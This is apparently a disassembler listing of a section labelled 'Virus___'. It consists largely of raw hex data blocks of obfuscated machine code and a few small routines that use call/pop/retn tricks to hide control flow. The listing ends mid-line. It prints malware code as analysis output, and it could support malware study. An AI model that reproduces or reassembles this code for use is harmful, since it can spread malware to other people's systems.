56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8589356Dh, 95D1D01h, 3E5BD81h, 7D0095Dh dd 860F0000h, 154h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 2FC35141h, 0D3808E6Fh, 6CBE851Bh, 0ED9D8983h dd 8B095D25h, 5D03C19Dh, 10E909h, 523D0000h, 67E247Eh dd 64E3224Eh, 99957EA5h, 0E3815148h, 100h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B0C35242h, 850FDB0Bh dd 7Ah, 22DE8166h, 86BD839Fh, 96106h, 32840Fh, 0F6810000h dd 750C596Fh, 8CE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0F78166C2h, 0BD899B8Bh dd 95D0415h, 68685C7h, 10961h, 0BF660000h, 52E9174Dh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0E680C351h, 75F47B71h, 85C7ADDBh, 9610686h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5AB45B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AB45B proc near ; CODE XREF: Virus___:005AB453p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5AB45B endp ; --------------------------------------------------------------------------- mov esi, [eax+50h] mov bl, 0FFh sbb eax, 7AC146E2h lea ebx, [ebp+95D03C1h] push 0 push edx call sub_5AB486 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AB486 proc near ; CODE XREF: Virus___:005AB47Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5AB486 endp ; --------------------------------------------------------------------------- dw 0C403h dd 4F987063h, 1FC84E4Ch, 0FF2381F8h, 66FFFFFEh, 8509F78Bh dd 95D0CB9h, 6ADB8C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 8614C356h, 1121BD2Bh dd 5757095Dh, 8E8h, 63C9AC00h, 0BB864767h, 5E5E5F08h, 0F04C3F6h dd 4784h, 6800F00h, 8B000000h, 5D22B1B5h, 9D95FF09h, 66095D2Ah dd 99CEF781h, 66526050h, 0B458F78Bh, 48961A8h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD290F40h, 95D33A5h, 3E2E9h, 0F8B70F00h, 895200B0h dd 5D17A985h, 13E95E09h, 91000000h, 0A4461F30h, 91F92971h dd 0F2FBE9F9h, 0B30BA3BEh, 70E6CAC8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 94C35646h, 0FAFFC82h, 71E4F2B7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3EC35040h dd 0FDE7C230h, 38AADE81h, 8A0F5724h, 6, 1F558D89h, 0B60F095Dh dd 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 252F5B3Eh, 5A1EBDE5h, 6BAh, 0F38B6600h dd 8ACE8166h, 6AC38BE3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2EB3C356h, 80DFD4D9h dd 0E8C13C3Ah, 0B090BF04h, 0BD8B5B3Ch, 95D19C1h, 6AE2F766h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 365FC356h, 0BA5731E2h, 0BFBF66F7h, 0FD82B9Bh dd 68Ch, 0ACF68100h, 936AC6BCh, 6B6D53BFh, 50565066h, 5E5F6160h dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 2D076329h, 0BE963C0h, 0E7000000h, 95E409C1h dd 2337C447h, 0BD8B901Ch, 95D2A29h, 3E5B5FFh, 6A095Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 69D55FC3h, 0B195FF5Dh, 0F095D11h, 1B87h, 15800F00h dd 0E9000000h, 10h, 290C794Dh, 104E240Eh, 0FF1AC1E6h, 0A70CCFBAh dd 70E600B0h, 2819B52Bh, 71E4095Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 9BC35242h, 4616BC14h, 8E0Fh dd 613C0000h, 1FD830Fh, 8E90000h, 0CD000000h, 90026E52h dd 0FDC47DDh, 0B509D8B6h, 95D0CDDh, 6BAh, 4820F00h, 66000000h dd 8BA2DDBEh, 8AEFBEC3h, 0E8C123AAh, 0F0BF6604h, 0E2F7663Ch dd 0C8B0Fh, 7E90000h, 71000000h, 0AC28D3BFh, 0B523D0ACh dd 95D185Dh, 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0D0624CC3h, 74392C44h, 0E9C47750h dd 7, 0A22034BAh, 58917644h, 9DF68166h, 0FD82BD0h, 16E88h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0A665D7C4h, 7B9CF65h, 8B000000h, 0C183F1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5C35242h dd 14336D91h, 680EA5B4h, 12E9F8h, 0D7830000h, 23877BDAh dd 45C9766Ch, 82A4192Bh, 3C46676Ch, 0BE9h, 465B2700h, 0FEF7B3E8h dd 26678CC5h, 860FD93Bh, 0EFh, 8C665F51h, 52006AD9h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0ECDDBF1Bh, 2EAF277Ah, 8D89AC9Dh, 95D0559h, 10DBD681h dd 0C1F61185h, 0AE840F04h, 0F000000h, 95FFFEB7h, 95D2A9Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 95C35040h dd 22DCDBFEh, 54A250D9h, 5840F1Ch, 0BF000000h, 1966CFC5h dd 8E7DABBFh, 95315B1Ah, 95D0B19h, 5F5BD8Bh, 0C32B095Dh dd 68F0Fh, 9D290000h, 95D3299h, 8343Dh, 4A860F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0BD70C353h, 8B0BB07Bh, 5D1651BDh, 21E909h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0EF4D69C3h, 8BC08B6Dh, 89D88BC3h, 5D18359Dh dd 0A985C709h, 0B7095D29h, 17B52B1h, 5D305595h, 89C08B09h dd 5D0FE98Dh, 0E5BD8109h, 0D0095D03h, 0F000007h, 2B85h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 1D30FF70h, 49F8ED7Dh, 0E585FFB6h, 0F5095D03h dd 3E5B5FFh, 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FAFA0C3h, 68Bh, 89958900h, 0FF095D16h dd 5D11B195h, 7E89009h, 9000000h, 35D49FB7h, 816614D2h dd 0E9E202CFh, 9, 949A277Fh, 96CB4AEFh, 0BF665F19h, 6ADC94h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0E85763C3h, 10h, 400D5BC4h, 8CB9A531h, 2EFFEEBBh, 633A612Dh dd 0EB5459BEh, 295F5E14h, 5D1D2D9Dh, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 6E9230Bh, 0C7000000h dd 46913C1Eh, 0B9B58936h, 0E8095D21h, 13h, 60D992E9h, 0D699EBB8h dd 0E36FFA77h, 0F4C9B7E3h, 8B69EA73h, 5D2F25B5h, 1B53109h dd 5F095D04h, 3119BD01h, 7E9095Dh, 0B4000000h, 73D81CABh dd 0BF0FFC8Eh, 51006AF2h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 604C3994h, 0DF816660h dd 8B61E94Eh, 5D123D8Dh, 0F7816609h, 0F861715Bh, 0E9FBB70Fh dd 0FFFFF865h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0A0C35141h, 82826A2Bh, 0E0DD6BAAh, 3985896Fh, 1095D29h dd 5D2BF5B5h, 699D8909h, 60095D10h, 20D5B589h, 0FEB9095Dh dd 0FFFFFFFh, 68Fh, 0ED958B00h, 21095D1Ch, 5D337D8Dh, 0C59D3109h dd 0F095D0Bh, 784h, 81665200h, 5AAAC1D8h, 153D8D21h, 6A095Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 25CCEAC3h, 0F747CEA4h, 0CDBDBA66h, 14C19589h, 8D8B095Dh dd 95D337Dh, 2B89E081h, 0E1837FDCh, 0B850F01h, 0E9000000h dd 6, 0EE85CB2Fh, 8D8BB561h, 95D153Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0A9C35545h, 0E183B0D7h, 29850F01h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 4EDCC352h, 7CA5B258h, 92055E29h dd 4202BA66h, 6A6061h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0F54A19C3h, 0D91B47A2h, 595893Fh dd 0B9095D0Fh, 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 8DC35343h, 8D21E14Ah, 95D14A5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0F3C35545h, 423FB884h dd 44C88166h, 2D958983h, 0E8095D12h, 14h, 0F2A8D791h, 1EBCDC7Dh dd 0FD023D8Bh, 0B569BD7Eh, 89605027h, 0F77CB866h, 0C18D2158h dd 6A095D03h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 41AAC352h, 0FD82C725h, 80D473FEh dd 0DA8109CEh, 7FCDF359h dd 14A58D8Bh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0E9D7F8C3h, 8, 3429E2BEh, 1CB1A629h dd 28B0Fh, 11B40000h, 0F01E183h, 2B85h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 8FC1F563h, 1A2E0294h, 9D31CA96h, 95D130Dh, 3C18D8Bh dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0F39A24C3h, 5702DF86h, 319D0353h, 5B095D0Ch dd 0F01E183h, 1385h, 0D870F00h, 51000000h, 6E9h, 6E764B00h dd 5A52051Eh, 6A6061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0E715F7C3h, 61A8BC46h, 8D0FB5B0h dd 5, 756FB1BBh, 0FFFEB932h, 0CCB7FFFFh, 95D8D21h, 6A095Dh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 645C8FC3h, 89939FCCh, 5D1F8D8Dh, 798D2109h, 29095D09h dd 5D22C19Dh, 5D8D8B09h, 83095D09h, 850F01E1h, 29h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B8C35646h, 74762138h dd 8938B877h, 5D1F0DBDh, 798D8B09h, 66095D09h, 0B768EF81h dd 0F01E183h, 2585h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0BD8965C5h, 95D1689h dd 6061F98Bh, 23BDBD8Bh, 0FEB9095Dh, 0E9FFFFFFh, 6, 0E95150BEh dd 9D89E8C3h, 95D13A5h, 24858D21h, 6A095Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 28DA12C3h dd 0A4D681ADh, 210A55DEh, 5D29A98Dh, 14E909h, 5B70000h dd 99EECE1h, 9409110Bh, 326BF194h, 0E7D04F8h, 8D8B7230h dd 95D2485h, 5CBF66F5h, 1E183DCh, 23850Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 41430FC3h, 8B7BC23Ch, 0A98D8BD1h, 6A095D29h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 7251C352h, 0E0D3B71Dh, 45D3EC5h, 83D38B66h, 850F01E1h dd 28h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 12C35040h, 0A6FBFD41h, 0BD897D23h, 95D1861h, 6A6061h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 6A9178C3h, 0B66C6360h, 85C7FC70h, 95D03E5h, 7D0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5CC35747h, 28D1BF7Fh dd 8D89B0EAh, 95D0BFDh, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0FD1C3EA2h, 60520168h dd 77ACF081h, 0BD2B7759h, 95D334Dh, 6107EB61h, 0E99Dh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8503F0C3h, 95D05DDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 8CC35646h, 6A60C18Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F016C356h, 0B97052A7h, 7720EB1Ah, 1DBD3351h, 5E095D1Ah dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 8CC32DC3h, 4471D985h, 13E8977Fh, 22000000h dd 339B9BC3h, 3B9E4E8Ah, 88DD8373h, 0F5C43DADh, 8D0148FCh dd 95D02F1h, 9BD835Eh, 95D18h, 0BD830975h, 95D0329h, 50197400h dd 0B8C08B53h, 438h, 10AD8589h, 9D8D095Dh, 95FAA61h, 585BD3FFh dd 329BD83h, 7400095Dh, 0B8535017h, 438h, 10AD8589h, 9D8D095Dh dd 95FA750h, 585BD3FFh, 8DA0BE66h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0D0C35040h, 0C08BF9B5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 34C35646h, 0E5B0B5C8h dd 3DA21B1Ah, 0CDDBD89h, 0BD29095Dh, 95D12F5h, 7C3E8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 1A49445Bh, 0F1BF5FF7h, 8BF0BF0Fh, 5D1D09B5h dd 49858909h, 6A095D18h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 42C5C350h, 0B8F0C11Ch dd 0F08B669Bh, 767E8h, 0CF8B6600h, 17418589h, 0D681095Dh dd 1F5EA67Eh, 753E8h, 0FAB70F00h, 18718589h, 6A095Dh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 667587C3h, 0F911CF81h, 723E8h, 8589FC00h, 95D230Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 20C35343h dd 3AA1322Ah, 5F34E7A3h, 22C1BD0Bh, 0CB8A095Dh, 0E9E8F88Bh dd 6A000006h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 88DCC355h, 0B589C9D2h, 95D263Dh dd 332D8589h, 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 493CB6C3h, 5C6C9102h, 0B58BE653h dd 95D12ADh, 68FE8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 13EF131Ah, 0BB694B92h dd 2A158D8Bh, 8589095Dh, 95D338Dh, 65BE8h, 95858900h, 6A095D19h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 3EAFC355h, 66604C87h, 8BF284BBh, 5D265D8Dh dd 25E86109h, 66000006h, 8589CB8Bh, 95D2449h, 617E8h, 81666000h dd 0F88A9F3h, 68Fh, 820F00h, 61000000h, 28398589h, 0FE9095Dh dd 0CB000000h, 8412CB16h, 941A6F9h, 4AD2DB64h, 0E5E8CBF0h dd 6A000005h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 89D1C353h, 5D103985h, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0C68A9BA4h, 618D89E8h, 0E8095D1Fh, 598h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4C35242h, 0F642E7D1h dd 56B100E5h, 89F18B66h, 5D20CD85h, 52006A09h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2F135AACh dd 899B96CDh, 5D20D99Dh, 29BD8909h, 0E8095D05h, 538h, 0B818D8Bh dd 8589095Dh, 95D038Dh, 1F198589h, 21E8095Dh, 6A000005h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 64F8C353h, 0EA651398h, 258589CBh, 66095D05h dd 0D92FF681h, 4EFE8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 94A094A5h, 8B9A1E7Dh dd 5D060D8Dh, 0C9858909h, 6A095D18h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 55A2C353h dd 51B93B8Dh, 0BF53F2C8h, 5021D9E9h, 8DB50B53h, 5F095D14h dd 48BE8h, 5DBE6600h, 0A18589B0h, 57095D1Eh, 12358D2Bh dd 0E85E095Dh, 474h, 0F28BF78Bh, 29C58589h, 6A095Dh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 5EAA67C3h, 2515BD8Bh, 0B0095Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 42C35343h dd 299815CEh, 5D2AF195h, 0C9B70F09h, 6AD8B60Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8BDEC355h, 5D1EBDB5h, 0C19D8909h, 0BA095D10h, 6, 8D12CE81h dd 0C38B5B04h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 99C35141h, 0F5654427h, 0C55772B3h, 308DB501h, 0E8C1095Dh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 3EC07292h, 91388892h, 0F9BF0FAAh, 6AE2F766h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 4788C351h, 0D82BD841h, 6880Fh, 9D090000h dd 95D16B5h, 1699B58Bh, 0B593095Dh, 0DE85033h, 9A000000h dd 8A2B001Fh, 6CC5DF6h, 0E9C0F3FCh, 6A935Eh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F1BED0C3h dd 0B5EB44EDh, 6E9E871h, 99000000h, 58C6FA3Ch, 9D95FFBAh dd 6A095D2Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0DB1AC357h, 2246C578h, 8589956Bh dd 95D225Dh, 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 9589C792h, 95D088Dh, 2421958Dh, 8B66095Dh dd 6A1A89F2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 328AC352h, 0B589AEC1h, 95D2875h dd 89044289h, 5D233595h, 68E0F09h, 89000000h, 5D07F99Dh dd 0D958D09h, 89095D00h, 658D091Ah, 89095D0Bh, 0F18B0442h dd 0CE956h, 1B680000h, 1F0DA8D8h, 0CB883B5Dh, 8D59B2DCh dd 5D194595h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8D2960F0h, 95D29C1h, 6A1A89h, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 4289C3C3h, 756B904h, 0F1816DB7h, 1D17B4F7h, 0B75958Dh dd 6A095Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 296052C3h, 5D189985h, 5B53109h, 61095D21h dd 81661A89h, 89CFE4D7h, 8D8B0442h, 95D19F5h, 222D8D89h dd 958D095Dh, 95D261Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 5DC35040h, 14B95DA5h, 892E624Ah, 51006A1Ah dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 7455D39Ah, 89FBB16Ch, 0BD890442h, 95D2AF1h, 0A29958Dh dd 6A095Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 66BBC4C3h, 0F9FD304h, 682h, 85958900h, 89095D1Ah dd 0BB21BF1Ah, 4289184Eh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 3BC974A0h dd 8B67A944h, 89958DFEh, 6A095D21h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 89F8C352h dd 4EED632Fh, 9531983Fh, 95D2515h, 8D8B1A89h, 95D1F19h dd 6A044289h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 2788C353h, 1C11540Dh, 8589D63Eh dd 95D29E5h, 3185958Dh, 6A095Dh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 512F2C3h, 0D45C5FDEh dd 66E4D5F0h, 10E9CF8Bh, 3E000000h, 0F8CA4C0Bh, 2C23C7ECh dd 5665C78Eh, 89C42E64h, 719D891Ah, 89095D0Bh, 6A0442h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 830F16C3h, 6, 2F858D23h, 0BDE9095Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 14C7C350h, 0DEC14248h, 271E80E3h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 9B6A8C3h dd 5D0AE98Dh, 6A006A09h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 4419C351h, 6A006Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 20C35343h dd 0FFCFBF0Fh, 5D234995h, 0C3F98B09h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0DAC35747h, 89EF6937h, 0B58BF864h dd 95D1A1Dh, 6AC58Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 530AB9C3h, 18618D8Bh, 8B5E095Dh dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8934DCF5h, 5D135D85h, 69BD8909h, 83095D29h dd 5D1809BDh, 9750009h, 329BD83h, 7400095Dh, 8B535019h dd 438B8C0h, 85890000h, 95D1311h, 0AAC89D8Dh, 0D3FF095Fh dd 0BD83585Bh, 95D0329h, 50177400h, 438B853h, 85890000h dd 95D1311h, 0A7699D8Dh, 0D3FF095Fh, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 6AC2C3h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 7EB556C3h, 52B6CE25h, 0F860Fh, 0AE90000h, 0E1000000h dd 5652C57Ch, 769AB96Bh, 8DC08B1Fh, 5D223985h, 8950F909h dd 0D7812404h, 5D4489EDh, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 1493A3C3h, 6AFB8Bh, 2311BD0Bh dd 8D89095Dh, 95D2AE9h, 2144858Dh, 0CE80961h, 64000000h dd 1720AF19h, 0D6C09A3Bh, 5B6C0598h, 6A05C083h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 7E6EC357h, 61BA9128h, 65BB6649h, 800F5001h, 2, 489AFB3h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 735290F1h, 9D2BC008h, 95D1009h, 0C7BF006Ah dd 6A0338ADh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 138F0F5Fh, 0E9000000h, 0Eh, 0C29CD4A8h dd 247DCA1Bh, 134EB9F7h, 95FF9AC3h, 95D0851h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A5C35646h, 0D98A8246h dd 914C8D8Dh, 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0B9CEFEC3h, 97DECD67h, 8B0FDF8Bh dd 0 ; --------------------------------------------------------------------------- call ecx push 0 push ebx call sub_5ACBBD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ACBBD proc near ; CODE XREF: Virus___:005ACBB5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5ACBBD endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0FE6Ch dd 237DC36Ch, 971BD83h, 0F01095Dh, 9385h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 1525EACh, 77271214h, 659D8B95h, 6A095D30h, 0FDB50902h dd 90095D31h, 10E85250h, 8B000000h, 0CA68A098h, 44ED00Ch dd 84894FFBh, 564472EEh, 310F5F5Bh, 310F5250h, 585A6160h dd 6050585Ah, 8B663BB6h, 339061C7h, 5D2331BDh, 0C995FF09h dd 6A095D14h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0EBE5C352h, 597542B4h, 0F04BBB97h dd 0EE3E9h, 0E800h, 815D0000h, 61214EEDh, 50006A09h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 94D1930Eh, 0A1BD2B3Ch, 6A095D2Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 38A9C356h dd 0FE8h, 0EA22BF00h, 4C9D8E62h, 8B30FDB4h, 0BF54DBFh dd 6018D89h, 8D5F095Dh, 608AE285h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D869961Bh dd 66F62536h, 0EB8166A9h, 0BD8B8341h, 95D19B5h, 0BBF6650h dd 24048925h, 26459D8Bh, 8D89095Dh, 95D07E9h, 35FF64h dd 0F5000000h, 258964h, 0E9000000h, 0Bh, 62431AFDh, 9C23B7EDh dd 0FFD6ADC3h, 5D216985h, 0FFF6A09h, 1983h, 13E800h, 85460000h dd 0B04D103Bh, 0CEBA1C6Dh, 0FC7B39BDh, 0E9B2D496h, 0B5FF5B2Eh dd 95D1849h, 3918D89h, 95FF095Dh, 95D0385h, 0D8E9h, 9D8BF800h dd 95D25DDh, 9D8B00B0h, 95D1195h, 0BD2370E6h, 95D2B49h dd 613C71E4h, 0B7830Fh, 0E5BB0000h, 0F650D29h, 0BD89C8B6h dd 95D1F5Dh, 6BAh, 6BC78100h, 8B387C39h, 0B96660C1h, 0EA8083CEh dd 0E8C1612Dh, 0D98B6604h, 66E2F766h, 2B52E0BFh, 3860FC8h dd 80000000h, 0D18B23CBh, 74E9h, 58C0F00h, 66000000h, 0B137E381h dd 2421858Bh, 0DA8A095Dh, 8007C083h, 0C08376D7h, 99D8B00h dd 3B095D2Bh, 14830FD0h, 9000000h, 5D1D4DB5h, 3FE909h dd 0BF0F0000h, 619D8BF8h, 8B095D0Fh, 5D03C18Dh, 0ED8D2909h dd 83095D20h, 840F01E1h, 21h, 0B10BCB81h, 0A5831EF4h, 95D03C1h dd 59D89FEh, 89095D11h, 5D242195h, 0FEB70F09h, 0E9h, 0C9B58D00h dd 6A0960BEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0E5C7C353h, 57FA8F07h, 2958763Dh dd 5D19A5B5h, 6A006A09h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 5B45C353h, 11B195FFh dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 4212F1C3h, 0B9FA8B33h, 80Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6DC35141h, 24F59D8Bh dd 0FE8B095Dh, 6AFCE183h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0EFA2C357h, 0DA3B5748h dd 0BF66FE8Bh, 89FC16F4h, 5D1539BDh, 6AC02B09h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0A1ADC351h, 607C6623h, 0BAD76405h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5ACF67 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ACF67 proc near ; CODE XREF: Virus___:005ACF5Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5ACF67 endp ; --------------------------------------------------------------------------- db 0A1h dd 0B86660BFh, 8C0F1358h, 19h, 14E9h, 1D320E00h, 13B8B8F7h dd 0CFBE6685h, 66B8B5C0h, 0AF83E58Bh, 33AD616Ah, 3E8D1C2h dd 